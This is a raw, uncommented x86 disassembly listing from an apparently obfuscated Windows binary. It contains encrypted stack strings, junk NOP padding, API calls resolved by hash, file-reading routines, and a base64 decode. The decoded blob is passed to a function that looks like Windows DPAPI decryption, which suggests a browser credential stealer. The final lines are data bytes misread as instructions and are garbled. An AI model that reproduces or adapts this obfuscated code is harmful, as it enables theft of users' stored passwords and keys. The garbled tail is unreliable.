push eax
call fcn.00408a60
add esp, 4
movzx ecx, word [esi]
mov ebp, eax
test cx, cx
je 0x423902
mov edx, dword [esp + 0x68]
mov ebp, eax
nop
nop
nop
nop
nop
mov word [ebp], cx
add ebp, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4238f0
mov dword [esp + 0x54], eax
mov word [ebp], 0x5c
mov dword [esp + 4], 0x29662b78
mov dword [esp + 8], 0x2d8b2f99
mov dword [esp + 0xc], 0x319e338b
mov dword [esp + 0x10], 0x35633750
mov dword [esp + 0x14], 0x399d3b80
mov dword [esp + 0x18], 0x3d953f8c
mov word [esp + 0x1c], 0x33c
lea ecx, [esp + 4]
mov byte [ecx + 0x1c], 0
mov word [ecx + 0x1a], 0
mov ecx, 7
mov edx, 0xf8
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 3]
mov edi, edx
and edi, esi
lea ebx, [esi + esi]
not ebx
add ebx, esi
and ebx, ecx
or ebx, edi
add bl, 0xdd
mov byte [esp + ecx - 3], bl
inc ecx
dec edx
cmp ecx, 0x24
jne 0x423960
add ebp, 2
mov edx, dword [esp + 0x58]
movzx ecx, word [edx]
test cx, cx
je 0x4239b2
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebp], cx
add ebp, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4239a0
mov word [ebp], 0
movzx ecx, word [esp + 4]
test cx, cx
mov edi, dword [esp + 0x54]
je 0x4239e2
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
mov word [ebp], cx
add ebp, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4239d0
mov word [ebp], 0
lea eax, [esp + 0x48]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.0043c6e0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x443f74]
xor ebx, ebx
jmp dword [0x443ff4]
push edi
call fcn.00408a70
add esp, 4
movzx eax, bl
mov esi, dword [esp + 0x3c]
jmp dword [eax*4 + 0x443ffc]
mov eax, dword [case.0x422441.137]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
lea eax, [esp + 0x5c]
push 0
push eax
push dword [esp + 0x50]
call fcn.0043ca20
add esp, 0xc
mov ecx, dword [case.0x422441.141]
nop
nop
nop
nop
nop
jmp ecx
not eax
shr eax, 0x1f
mov dword [esp], 0
jmp dword [eax*4 + 0x443f9c]
jmp dword [0x443fa4]
movzx eax, bl
mov esi, dword [esp + 0x3c]
jmp dword [eax*4 + 0x443ffc]
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x50]
lea ecx, [edx + eax]
add ecx, 0x17
test ecx, ecx
jns 0x423ab0
mov eax, 0xffffffff
jmp 0x423ab9
add eax, edx
lea eax, [eax*2 + 0x2e]
push eax
call fcn.00408a60
add esp, 4
movzx ecx, word [esi]
mov ebp, eax
test cx, cx
je 0x423af2
mov edx, dword [esp + 0x68]
mov ebp, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebp], cx
add ebp, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423ae0
mov dword [esp + 0x44], eax
mov word [ebp], 0x5c
mov dword [esp + 4], 0x71a27fd0
mov dword [esp + 8], 0x75d773c1
mov dword [esp + 0xc], 0x49ca77d7
mov dword [esp + 0x10], 0x4d9f4ba8
mov dword [esp + 0x14], 0x41ff4ff8
mov dword [esp + 0x18], 0x45e143f2
mov dword [esp + 0x1c], 0x59e147fd
mov dword [esp + 0x20], 0x5de65bf4
mov dword [esp + 0x24], 0x51e85ffb
mov dword [esp + 0x28], 0x55ee53f7
mov dword [esp + 0x2c], 0x29f457f0
mov word [esp + 0x30], 0x2b28
mov dword [esp + 0x32], 0
lea ecx, [esp + 4]
xor edx, edx
xor edi, edi
nop
nop
nop
nop
nop
movzx esi, byte [ecx]
mov eax, edx
and eax, 0xb8208fd6
mov ebx, edi
xor ebx, 0xa3efb814
sub ebx, eax
lea eax, [ebx + 1]
mov dword [esp], eax
lea eax, [ebx*2 + 2]
not eax
add ebx, eax
inc ebx
and ebx, esi
lea eax, [esi + esi]
not eax
add eax, esi
and eax, dword [esp]
or eax, ebx
add al, 0x97
mov byte [ecx], al
inc ecx
dec edi
add edx, 0xfffffffe
cmp edi, 0xffffffce
jne 0x423b70
add ebp, 2
mov esi, dword [esp + 0x58]
movzx ecx, word [esi]
test cx, cx
je 0x423be2
lea edx, [esi + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebp], cx
add ebp, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423bd0
mov word [ebp], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x423c12
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ebp], cx
add ebp, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423c00
mov word [ebp], 0
cmp dword [esp + 0x50], 0xfffffff7
jge 0x423c30
mov eax, 0xffffffff
jmp 0x423c37
mov eax, dword [esp + 0x6c]
add eax, 0x12
push eax
call fcn.00408a60
add esp, 4
mov edi, eax
mov dword [esp + 4], 0xe172e7b5
mov dword [esp + 8], 0xdd6ce37f
mov dword [esp + 0xc], 0xd94adf43
mov dword [esp + 0x10], 0xd578db44
mov word [esp + 0x14], 0xd7d4
lea eax, [esp + 4]
mov word [eax + 0x16], 0
mov dword [eax + 0x12], 0
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0x59
xor cl, byte [esp + eax + 4]
add cl, 0x43
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 0x18
jne 0x423c80
movzx ecx, word [esi]
mov eax, edi
test cx, cx
je 0x423cc1
add esi, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x423cb0
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
je 0x423cf1
lea edx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423ce0
mov word [eax], 0
mov dword [esp + 4], 0x292a2b0a
mov byte [esp + 8], 0
mov eax, 0xb1754277
mov ecx, 0x88
nop
nop
nop
movzx ebx, byte [esp + eax + 0x4e8abd8d]
mov edx, ebx
not edx
or edx, ecx
mov ebp, edx
not ebp
mov esi, edx
and esi, 2
or edx, 0xffffff82
inc edx
imul edx, esi
mov esi, ebp
and esi, 2
or ebp, 2
imul ebp, esi
add edx, ebx
sub edx, ebp
add edx, eax
mov esi, edx
and esi, 0x2c
xor edx, 0xac
lea edx, [edx + esi*2]
inc dl
mov byte [esp + eax + 0x4e8abd8d], dl
inc eax
dec ecx
cmp eax, 0xb175427c
jne 0x423d10
lea eax, [esp + 4]
push 0
push 0
push 0xc00000
push eax
mov ebx, dword [esp + 0x54]
push ebx
push edi
push dword [esp + 0x120]
call fcn.0041c2a0
add esp, 0x1c
mov ecx, dword [esp + 0x4c]
and cl, 1
or cl, al
mov dword [esp + 0x4c], ecx
jmp dword [0x444004]
push edi
call fcn.00408a70
add esp, 4
mov esi, dword [esp + 0x3c]
jmp dword [0x44400c]
mov esi, dword [esp + 0x3c]
jmp dword [0x44400c]
push ebx
call fcn.00408a70
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x444020]
mov dword [esp + 0x7c], esi
lea eax, [esi + 1]
push eax
call fcn.00408a60
add esp, 4
mov dword [esp + 0x40], eax
test ebp, ebp
je 0x423ee6
xor ecx, ecx
mov esi, 2
jmp 0x423e18
mov ebp, ebx
mov edi, dword [esp + 0x44]
lea eax, [esi + 4]
add esi, 2
mov ecx, edi
cmp esi, ebp
mov esi, eax
jae 0x423ee6
mov dword [esp], ecx
mov edi, ebp
mov ebp, dword [esp + 0x70]
movzx eax, byte [ebp + esi - 2]
push eax
call fcn.00419800
add esp, 4
mov ebx, eax
movzx eax, byte [ebp + esi - 1]
push eax
call fcn.00419800
mov edx, dword [esp + 4]
add esp, 4
shl bl, 2
mov ah, al
shr ah, 4
and ah, 3
or ah, bl
lea ecx, [edx + 1]
mov dword [esp + 0x44], ecx
mov ecx, dword [esp + 0x40]
mov byte [ecx + edx], ah
mov ebx, edi
cmp esi, edi
jae 0x423e00
mov byte [esp + 0x3b], al
movzx eax, byte [ebp + esi]
push eax
call fcn.00419800
add esp, 4
cmp al, 0x40
mov ebp, ebx
mov edi, dword [esp + 0x44]
je 0x423e06
movzx ecx, byte [esp + 0x3b]
shl cl, 4
mov ebx, eax
shr al, 2
and al, 0xf
or al, cl
mov edx, dword [esp]
lea edi, [edx + 2]
mov ecx, dword [esp + 0x40]
mov byte [ecx + edx + 1], al
lea eax, [esi + 1]
cmp eax, ebp
jae 0x423e06
mov eax, dword [esp + 0x70]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00419800
add esp, 4
cmp al, 0x40
je 0x423e06
shl bl, 6
mov ecx, eax
and cl, bl
add cl, cl
xor bl, al
add bl, cl
mov eax, dword [esp + 0x40]
mov ecx, dword [esp]
mov byte [eax + ecx + 2], bl
add ecx, 3
mov edi, ecx
jmp 0x423e06
mov eax, dword [esp + 0x7c]
add eax, 0xfffffffb
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x40]
add eax, 5
mov dword [esp + 0x8c], eax
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0
push 0x14e20a34
push dword [0x44962c]
call fcn.0043bcb0
add esp, 8
lea ecx, [esp + 0x74]
lea edx, [esp + 0x88]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [esp + 0x64]
mov edi, dword [esp + 0x54]
jmp dword [ecx*4 + 0x443fc4]
mov dword [esp], 0
jmp dword [0x443fe4]
cmp dword [esp + 0x50], 0xfffffff8
jge 0x423f6f
mov eax, 0xffffffff
jmp 0x423f76
mov eax, dword [esp + 0x6c]
add eax, 0x10
push eax
call fcn.00408a60
add esp, 4
mov ebp, eax
mov dword [esp + 4], 0x690e6b55
mov dword [esp + 8], 0x6d5c6f18
mov dword [esp + 0xc], 0x710a7318
mov dword [esp + 0x10], 0x75767704
mov word [esp + 0x14], 0
xor eax, eax
xor ecx, ecx
lea edx, [esp + 4]
movzx edi, byte [edx]
mov ebx, eax
and ebx, 0x20b34832
mov esi, ecx
xor esi, 0xefa65be6
sub esi, ebx
lea ebx, [esi + 1]
and ebx, edi
add esi, edi
add ebx, ebx
sub esi, ebx
add esi, 0x42fbdfeb
mov ebx, esi
and ebx, 0x12
add ebx, ebx
xor esi, 0x6d
sub ebx, esi
mov byte [edx], bl
inc edx
dec ecx
add eax, 0xfffffffe
cmp ecx, 0xffffffee
jne 0x423fb0
mov edx, dword [esp + 0x58]
movzx ecx, word [edx]
mov eax, ebp
test cx, cx
je 0x424021
add edx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x424010
mov word [eax], 0
movzx ecx, word [esp + 4]
test cx, cx
mov edi, dword [esp + 0x54]
mov ebx, dword [esp + 0x64]
je 0x424051
lea edx, [esp + 6]
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x424040
mov word [eax], 0
mov ecx, dword [esp + 0x108]
push dword [esp + 0x74]
push dword [esp + 0x7c]
push ebp
call fcn.00409780
mov dword [esp], eax
jmp dword [0x443fcc]
push ebp
call fcn.00408a70
add esp, 4
push 0xbe5098bb
push dword [0x449614]
call fcn.0043bcb0
add esp, 8
push dword [esp + 0x78]
call eax
jmp dword [0x443fe4]
push dword [esp + 0x40]
call fcn.00408a70
add esp, 4
push dword [esp + 0x80]
call fcn.004020b0
add esp, 4
jmp dword [0x443fec]
mov esi, dword [esp + 0x5c]
lea eax, [esi + 1]
push eax
call fcn.00408a60
add esp, 4
push 0
push esi
push eax
push dword [esp + 0x54]
call fcn.0043caf0
add esp, 0x10
mov esi, dword [esp + 0x5c]
lea eax, [esi + 1]
push eax
call fcn.00408a60
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0x54]
call fcn.0043caf0
add esp, 0x10
jmp dword [0x443fb0]
not eax
shr eax, 0x1f
mov dword [esp], 0
jmp dword [eax*4 + 0x443fb4]
mov eax, dword [esp + 0x5c]
mov byte [ebx + eax], 0
push ebx
call fcn.00401000
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
jmp dword [ecx*4 + 0x443fbc]
jmp dword [0x443fec]
push ebx
call fcn.00408a70
add esp, 4
mov ebp, dword [esp + 0x48]
mov dword [esp + 4], 0x94959a9b
mov ecx, 0x9f68e67
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx - 0x9f68e63]
lea edx, [ecx - 1]
and edx, eax
lea esi, [edx + edx]
mov ebx, ecx
add bl, al
and bl, 1
add bl, al
add eax, ecx
sub eax, esi
mov bh, al
xor bh, 1
add bh, bl
and al, 0xfe
sub bh, al
add dl, dl
sub bh, dl
movzx eax, bh
add eax, ecx
mov byte [esp + ecx - 0x9f68e63], al
inc ecx
cmp ecx, 0x9f68e6b
jne 0x424170
mov ecx, dword [0x449620]
test ecx, ecx
je 0x424200
mov edx, dword [esp + 4]
xor esi, esi
mov eax, dword [0x449624]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [eax + esi*8], 0xb62b8d10
je 0x4241ea
mov ebx, esi
xor ebx, 1
and esi, 1
lea esi, [ebx + esi*2]
cmp esi, ecx
jb 0x4241d0
jmp 0x424200
mov eax, dword [eax + esi*8 + 4]
cmp eax, edx
jne 0x424209
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, dword [esp]
jmp dword [0x443ff4]
push ebp
push 1
push eax
push dword [0x449628]
call fcn.00438b80
add esp, 0x10
mov ebx, dword [esp]
jmp dword [0x443ff4]
mov dword [esp + 0x80], eax
push eax
call fcn.00401b00
add esp, 4
mov dword [esp + 4], 0xbcbbaeb5
mov dword [esp + 8], 0xa9aed0ae
mov dword [esp + 0xc], 0xb4a0a86e
mov dword [esp + 0x10], 0xa1a6d8a6
mov dword [esp + 0x14], 0x948b8faf
mov word [esp + 0x18], 0xe093
mov byte [esp + 0x1a], 0x6e
mov dword [esp + 0x1b], 0
mov ecx, 0x541cfd0f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x541cfd0b]
xor edx, ecx
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
add dl, 0xb4
mov byte [esp + ecx - 0x541cfd0b], dl
inc ecx
cmp ecx, 0x541cfd2a
jne 0x424280
lea ecx, [esp + 4]
push ecx
push eax
call fcn.00401ec0
add esp, 8
mov edx, eax
mov ebp, 0xffffffff
nop
nop
nop
mov eax, ebp
cmp byte [edx + ebp + 1], 0
lea ebp, [ebp + 1]
jne 0x4242c0
mov eax, ebp
and eax, 3
mov esi, ebp
or esi, 3
imul esi, eax
xor eax, 3
mov ecx, ebp
and ecx, 0xfffffffc
imul ecx, eax
add esi, ecx
shr esi, 2
movzx eax, byte [edx + ebp - 1]
cmp eax, 0x3d
je 0x4242f8
cmp eax, 0x2e
jne 0x4242f9
dec esi
movzx eax, byte [edx + ebp - 2]
cmp eax, 0x3d
mov dword [esp + 0x64], ebx
mov dword [esp + 0x70], edx
je 0x424314
cmp eax, 0x2e
jne 0x423dd6
dec esi
jmp 0x423dd6
xor ebx, ebx
jmp dword [0x44415c]
lea eax, [esp + 0x24]
push 0
push eax
push dword [esp + 0x30]
call fcn.0043ca20
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
jmp dword [eax*4 + 0x44402c]
mov esi, dword [esp + 0x24]
lea eax, [esi + 1]
push eax
call fcn.00408a60
add esp, 4
push 0
push esi
mov dword [esp + 0x28], eax
push eax
push dword [esp + 0x34]
call fcn.0043caf0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
jmp dword [eax*4 + 0x444034]
mov dword [esp + 0x7c], ebp
jmp dword [0x444040]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov byte [ecx + eax], 0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov byte [ebp + eax], 0
mov dword [esp + 8], 0
jmp dword [0x444044]
lea eax, [esp + 0x2d]
lea ecx, [esp + 0x47]
mov dword [esp + 0x80], ecx
lea ecx, [esp + 0x37]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x70], eax
mov dword [esp + 4], eax
mov edi, ebp
jmp dword [0x44404c]
mov dword [esp + 0x2c], 0x525e5c56
mov dword [esp + 0x30], 0x5e55585a
mov word [esp + 0x34], 0x1d07
mov byte [esp + 0x36], 0xc2
mov eax, dword [esp + 0x14]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x33
xor cl, byte [esp + eax + 0x2c]
inc cl
mov byte [esp + eax + 0x2c], cl
inc eax
cmp eax, 0xe
jne 0x4245a0
mov eax, dword [esp + 0x70]
mov dword [esp + 4], eax
jmp case.0x422441.187
jmp dword [0x444058]
mov dword [esp + 0x2c], 0x525e5c56
mov dword [esp + 0x30], 0x5e55585a
mov word [esp + 0x34], 0x1d07
mov byte [esp + 0x36], 0xc2
mov eax, dword [esp + 0x14]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x33
xor cl, byte [esp + eax + 0x2c]
inc cl
mov byte [esp + eax + 0x2c], cl
inc eax
cmp eax, 0xe
jne 0x424600
movzx edx, byte [esp + 0x2c]
mov esi, edi
test dl, dl
je 0x4245c0
mov eax, ebx
mov ecx, edi
mov esi, edi
jmp 0x424637
movzx edx, byte [eax]
test dl, dl
je 0x4245c0
mov dh, byte [ecx]
test dh, dh
je 0x424660
inc ecx
inc eax
lea ebp, [esi + 1]
cmp dh, dl
je 0x42464a
mov esi, ebp
mov ecx, ebp
je 0x424630
lea eax, [esp + 0x2c]
jmp 0x424630
xor esi, esi
jmp dword [0x444058]
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44405c]
jmp dword [0x44406c]
lea ebp, [esi + 0xa]
movzx eax, byte [esi + 0xa]
xor edi, edi
test al, al
je 0x424680
mov ecx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x22
je 0x4246b0
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x4246a0
jmp 0x424680
mov edi, ecx
jmp dword [0x44406c]
mov ecx, edi
sub ecx, ebp
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x444074]
xor eax, eax
cmp byte [edi - 1], 0x74
setne al
jmp dword [eax*4 + 0x44407c]
jmp dword [0x444090]
xor eax, eax
cmp byte [edi - 2], 0x78
setne al
jmp dword [eax*4 + 0x444094]
xor eax, eax
cmp byte [edi - 3], 0x74
setne al
jmp dword [eax*4 + 0x44409c]
xor eax, eax
cmp byte [edi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x4440a4]
mov eax, ecx
inc eax
mov dword [esp], eax
mov dword [esp + 0xc], ecx
lea eax, [ecx + ecx + 2]
jns 0x42472b
mov eax, 0xffffffff
push eax
call fcn.00408a60
add esp, 4
mov dword [esp + 0x10], eax
push edi
push ebp
push dword [esp + 8]
push eax
call fcn.0040b270
add esp, 0x10
lea eax, [esp + 0x18]
push 0x60
push 3
push 0x120089
push eax
push dword [esp + 0x20]
call fcn.0043c6e0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4440ac]
lea eax, [esp + 0x74]
push 0
push eax
push dword [esp + 0x20]
call fcn.0043ca20
add esp, 0xc
test eax, eax
setns al
mov edx, dword [esp + 0x74]
cmp edx, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4440b4]
mov dword [esp], edx
push edx
call fcn.00408a60
add esp, 4
mov ebx, eax
push 0
push dword [esp + 4]
push eax
push dword [esp + 0x24]
call fcn.0043caf0
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4440cc]
mov dword [esp + 0x78], ebx
xor edx, edx
mov ecx, dword [esp + 0x10]
jmp 0x4247e8
add ecx, 2
test ax, ax
je 0x4247f9
mov ebx, edx
movzx eax, word [ecx]
mov edx, ecx
cmp ax, 0x5c
je 0x4247e0
mov edx, ebx
jmp 0x4247e0
xor eax, eax
test ebx, ebx
setne al
mov dword [esp], 0
xor ecx, ecx
jmp dword [eax*4 + 0x4440d4]
mov edx, dword [case.0x422441.221]
sub ebx, dword [esp + 0x10]
sar ebx, 1
inc ebx
mov ecx, dword [esp + 0xc]
mov dword [esp], ebx
sub ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp edx
add ecx, 0x1b
push ecx
call fcn.00408a60
add esp, 4
mov dword [esp + 0x1c], eax
mov eax, dword [esp]
sub dword [esp + 0xc], eax
mov dword [esp + 0x2c], 0xc4c6cca1
mov dword [esp + 0x30], 0xc1d3f9fa
mov dword [esp + 0x34], 0xf69491fc
mov dword [esp + 0x38], 0xb8c5f0f8
mov dword [esp + 0x3c], 0xfacafa9a
mov dword [esp + 0x40], 0xb4fee4f4
mov word [esp + 0x44], 0xb2b7
mov byte [esp + 0x46], 0x5e
mov eax, dword [esp + 0x80]
mov byte [eax + 4], 0
mov dword [eax], 0
mov eax, 0x714e8716
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x714e86ea]
xor ecx, eax
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, edx
add ecx, 0xe0e74b76
mov edx, ecx
not edx
and edx, 0xe5
and ecx, 0x1a
sub ecx, edx
mov byte [esp + eax - 0x714e86ea], cl
inc eax
cmp eax, 0x714e8736
jne 0x4248a0
add ebp, dword [esp]
movzx ecx, byte [esp + 0x2c]
mov eax, dword [esp + 0x1c]
test cl, cl
mov edx, dword [esp + 4]
je 0x4248fb
mov eax, dword [esp + 0x1c]
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x4248f0
mov byte [eax], 0
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x42493e
mov ebx, dword [esp]
add ebx, esi
mov edx, edi
sub edx, ebx
mov ebx, edx
add ebx, 0xfffffff5
mov esi, ecx
and esi, 3
je 0x424942
xor edx, edx
nop
nop
nop
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + edx], cl
inc edx
cmp esi, edx
jne 0x424920
add eax, edx
mov ecx, dword [esp + 0xc]
sub ecx, edx
mov edx, eax
jmp 0x424942
mov edx, eax
jmp 0x424991
cmp ebx, 3
jb 0x424991
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
mov byte [eax + 2], cl
movzx ecx, byte [ebp]
cmp cl, 1
sbb ebp, 0xffffffff
lea edx, [eax + 4]
mov byte [eax + 3], cl
mov ecx, esi
mov eax, edx
add ecx, 0xfffffffc
jne 0x424950
mov byte [edx], 0
mov ecx, dword [esp + 0xdc]
push dword [esp + 0x74]
mov ebx, dword [esp + 0x7c]
push ebx
mov ebp, dword [esp + 0x24]
push ebp
call fcn.00409950
movzx eax, al
mov ecx, dword [esp + 8]
and cl, 1
movzx ecx, cl
mov edx, eax
not edx
and edx, ecx
xor eax, ecx
add eax, ecx
cmp eax, edx
setne al
mov dword [esp + 8], eax
jmp dword [0x4440ec]
push ebp
call fcn.00408a70
add esp, 4
jmp dword [0x4440f4]
jmp dword [0x4440f4]
push ebx
call fcn.00408a70
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x444108]
jmp dword [0x44410c]
push dword [esp + 0x10]
call fcn.00408a70
add esp, 4
mov eax, dword [esp + 0x70]
mov dword [esp + 4], eax
jmp dword [0x44404c]
cmp dword [ebp + esi*8], 0xb62b8d10
je 0x424a4b
mov eax, esi
xor eax, 1
and esi, 1
lea esi, [eax + esi*2]
cmp esi, ecx
jb 0x424a30
jmp case.0x422441.235
mov eax, dword [ebp + esi*8 + 4]
cmp eax, edx
je case.0x422441.235
push dword [esp + 4]
push 1
push eax
push dword [0x449628]
call fcn.00438b80
add esp, 0x10
mov ebp, dword [esp + 0x18]
mov dword [esp + 0x2c], 0x94959a9b
mov ecx, 0x9f68e67
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx - 0x9f68e3b]
lea edx, [ecx - 1]
and edx, eax
lea esi, [edx + edx]
mov ebx, ecx
add bl, al
and bl, 1
add bl, al
add eax, ecx
sub eax, esi
mov bh, al
xor bh, 1
add bh, bl
and al, 0xfe
sub bh, al
add dl, dl
sub bh, dl
movzx eax, bh
add eax, ecx
mov byte [esp + ecx - 0x9f68e3b], al
inc ecx
cmp ecx, 0x9f68e6b
jne 0x424a80
mov ecx, dword [0x449620]
test ecx, ecx
lea ebx, [esp + 0x2c]
je 0x424b27
mov edx, ebp
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], eax
xor esi, esi
mov ebp, dword [0x449624]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp + esi*8], 0xb62b8d10
je 0x424b0b
mov eax, esi
xor eax, 1
and esi, 1
lea esi, [eax + esi*2]
cmp esi, ecx
jb 0x424af0
jmp 0x424b27
mov eax, dword [ebp + esi*8 + 4]
cmp eax, dword [esp + 4]
je 0x424b27
push edx
push 1
push eax
push dword [0x449628]
call fcn.00438b80
add esp, 0x10
jmp dword [0x444114]
mov ebp, edi
jmp dword [0x44411c]
mov eax, dword [esp + 0x18]
mov dword [esp + 4], eax
mov dword [esp + 0x2c], 0x94959a9b
mov ecx, 0x9f68e67
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx - 0x9f68e3b]
lea edx, [ecx - 1]
and edx, eax
lea esi, [edx + edx]
mov ebx, ecx
add bl, al
and bl, 1
add bl, al
add eax, ecx
sub eax, esi
mov bh, al
xor bh, 1
add bh, bl
and al, 0xfe
sub bh, al
add dl, dl
sub bh, dl
movzx eax, bh
add eax, ecx
mov byte [esp + ecx - 0x9f68e3b], al
inc ecx
cmp ecx, 0x9f68e6b
jne 0x424b50
mov ecx, dword [0x449620]
test ecx, ecx
je case.0x422441.235
mov edx, dword [esp + 0x2c]
xor esi, esi
mov ebp, dword [0x449624]
jmp 0x424a30
mov eax, dword [case.0x422441.181]
mov ebp, dword [esp + 0x7c]
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x444134]
push dword [esp + 0x20]
call fcn.00408a70
add esp, 4
mov eax, dword [case.0x422441.179]
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x14], eax
mov dword [esp + 0x2c], 0x94959a9b
mov ecx, 0x9f68e67
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx - 0x9f68e3b]
lea edx, [ecx - 1]
and edx, ebx
lea esi, [edx + edx]
mov eax, ecx
add al, bl
and al, 1
add al, bl
add ebx, ecx
sub ebx, esi
mov ah, bl
xor ah, 1
add ah, al
and bl, 0xfe
sub ah, bl
add dl, dl
sub ah, dl
movzx eax, ah
add eax, ecx
mov byte [esp + ecx - 0x9f68e3b], al
inc ecx
cmp ecx, 0x9f68e6b
jne 0x424c00
mov ecx, dword [0x449620]
test ecx, ecx
mov ebx, dword [esp + 8]
je 0x424c82
mov edx, dword [esp + 0x2c]
xor esi, esi
mov edi, dword [0x449624]
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x424c7a
mov eax, esi
xor eax, 1
and esi, 1
lea esi, [eax + esi*2]
cmp esi, ecx
jb 0x424c60
jmp 0x424c82
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x424c88
jmp dword [0x44415c]
push dword [esp + 0x14]
push 1
push ecx
push dword [0x449628]
call fcn.00438b80
add esp, 0x10
jmp dword [0x44415c]
int3
and al, 0x42
add byte [ecx + 0x24], ch
inc edx
add byte [ebp + 0x42], ch
add byte [ebp + 0x25], dh
inc edx
add byte [eax - 0x7fffbddb], al
and eax, 0x25800042
inc edx
add byte [edx + 0x40004225], al
inc edx
add byte [edx + 0x5f004225], dl
inc edx
add byte [edx - 0x5fffbdda], al
inc edx
add byte [eax - 0x5dffbdda], ah
inc edx
add byte [eax - 0x73ffbdda], ah
xor eax, dword [edx]
mov eax, 0x12004226
xor dword [edx], eax
cmc
inc edx
add byte [ebx + 0x34], bh
inc edx
add byte [edi + 0x7b004234], bh
xor al, 0x42
add ah, dh
xor byte [edx], al
